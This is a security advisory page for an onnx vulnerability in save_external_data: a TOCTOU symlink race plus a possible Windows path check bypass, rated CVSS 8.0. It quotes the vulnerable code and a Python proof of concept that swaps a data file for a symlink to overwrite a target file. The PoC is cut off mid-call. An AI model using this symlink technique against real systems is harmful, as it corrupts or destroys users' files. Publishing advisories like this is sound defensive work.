🛡️ GHSA-q56x-g2fj-4rj6 — onnx

🟠 CVSS 8.0 — High ✅ No Known Exploit CWE-22 OSV
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

ONNX: TOCTOU arbitrary file read/write in save_external_dat

Summary

The save_external_data method seems to include multiple issues introducing a local TOCTOU vulnerability, an arbitrary file read/write on any system. It potentially includes a path validation bypass on Windows systems.

Regarding the TOCTOU, an attacker seems to be able to overwrite victim's files via symlink following under the same privilege scope.

The mentioned function can be found here: https://github.com/onnx/onnx/blob/main/onnx/external_data_helper.py#L188

Details

Toctou

The vulnerable code pattern:

```python

# CHECK - Is this a file?

if not os.path.isfile(external_data_file_path):

# Line 228-229: USE #1 - Create if it doesn't exist

with open(external_data_file_path, "ab"):

pass

# Open for writing

with open(external_data_file_path, "r+b") as data_file:

# Lines 233-243: Write tensor data

data_file.seek(0, 2)

if info.offset is not None:

file_size = data_file.tell()

if info.offset > file_size:

data_file.write(b"\0" * (info.offset - file_size))

data_file.seek(info.offset)

offset = data_file.tell()

data_file.write(tensor.raw_data)

```

There is a time gap between os.path.isfile and open with no atomic file creation flags (e.g. O_EXCEL | O_CREAT) allowing the attacker to create a symlink that is being followed (absence of O_NOFOLLOW), between these two calls. By combining these, the attack is possible as shown below in the PoC section.

Bypass

There is also a potential validation bypass on Windows systems in the same method (https://github.com/onnx/onnx/blob/main/onnx/external_data_helper.py#L203) allowing absolute paths like C:\ (only 1 part):

```python

if location_path.is_absolute() and len(location_path.parts) > 1

```

This may allow Windows Path Traversals (not 100% verified as I am emulating things on a Debian distro).

PoC

Install the dependencies and run this:

```python

import os

import sys

import tempfile

import numpy as np

import onnx

from onnx import TensorProto, helper

from onnx.numpy_helper import from_array

# Create a temporary directory for our poc

with tempfile.TemporaryDirectory() as tmpdir:

print(f"[*] Working directory: {tmpdir}")

# Create a "sensitive" file that we'll overwrite

sensitive_file = os.path.join(tmpdir, "sensitive.txt")

with open(sensitive_file, 'w') as f:

f.write("SENSITIVE DATA - DO NOT OVERWRITE")

original_content = open(sensitive_file, 'rb').read()

print(f"[*] Created sensitive file: {sensitive_file}")

print(f" Original content: {original_content}")

# Create a simple ONNX model with a large tensor

print("[*] Creating ONNX model with external data...")

# Create a tensor with data > 1KB (to trigger external data)

large_array = np.ones((100, 100), dtype=np.float32) # 40KB tensor

large_tensor = from_array(large_array, name='large_weight')

# Create a minimal model

model = helper.make_model(

helper.make_graph(

[helper.make_node('Identity', ['input'], ['output'])],

'minimal_model',

[helper.make_tensor_value_info('input', TensorProto.FLOAT, [100, 100])],

[helper.make_tensor_value_info('output', TensorProto.FLOAT, [100, 100])],

[large_tensor]

)

)

# Save model with external data to create the external data file

model_path = os.path.join(tmpdir, "model.onnx")

external_data_name = "data.bin"

external_data_path = os.path.join(tmpdir, external_data_name)

onnx.save_model(

model,

model_path,

save_as_external_data=True,

all_tensors_to_one_file=True,

location=external_data_name,

size_threshold=1024

)

print(f"[+] Model saved: {model_path}")

print(f"[+] External data created: {external_data_path}")

# Now comes the attack: replace the external data file with a symlink

print("[!] ATTACK: Replacing external data file with symlink...")

# Remove the legitimate external data file

if os.path.exists(external_data_path):

os.remove(external_data_path)

print(f" Removed: {external_data_path}")

# Create symlink pointing to sensitive file

os.symlink(sensitive_file, external_data_path)

print(f" Created symlink: {external_data_path} -> {sensitive_file}")

# Now load and re-save the model, which will trigger the vulnerability

print("Loading model and saving with external data...")

try:

# Load the model (without loading external data)

loaded_model = onnx.load(model_path, load_external_data=False)

# Modify the model slightly (to ensure we write new data)

loaded_model.graph.initializer[0].raw_data = large_array.tobytes()

# Save again - this will call save_external_data() and follow the symlink

onnx.save_model(

loaded_model,

How this vulnerability can be exploited

This issue can be reached with local access to the system, attack complexity is low, an attacker needs no privileges on the target. A user must be tricked into taking some action. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity high, availability high.

Weakness class

GHSA-q56x-g2fj-4rj6 is classified as CWE-22: Path Traversal. A file path built from user input is not confined to the intended directory, letting an attacker reach files elsewhere on the filesystem.

Affected software

GHSA-q56x-g2fj-4rj6 is recorded against 1 package.

  • onnx (fixed in 1.21.0)

Timeline and source

Published on 1 April 2026 and last revised on 8 June 2026. No public exploit is currently recorded for this entry. Record sourced from OSV.

References

github.com (Web)
github.com (Package)

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H
CWE CWE-22
Public Exploit ✅ No
Source OSV
Published 2026-04-01
Updated 2026-08-20
Modified 2026-06-08
Fix URL N/A

Affected Packages

Software From version Fixed in
onnx 1.21.0

Site Security Check

Is onnx part of your stack?

GHSA-q56x-g2fj-4rj6 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesGitHub AdvisoryGitHub Advisory Undated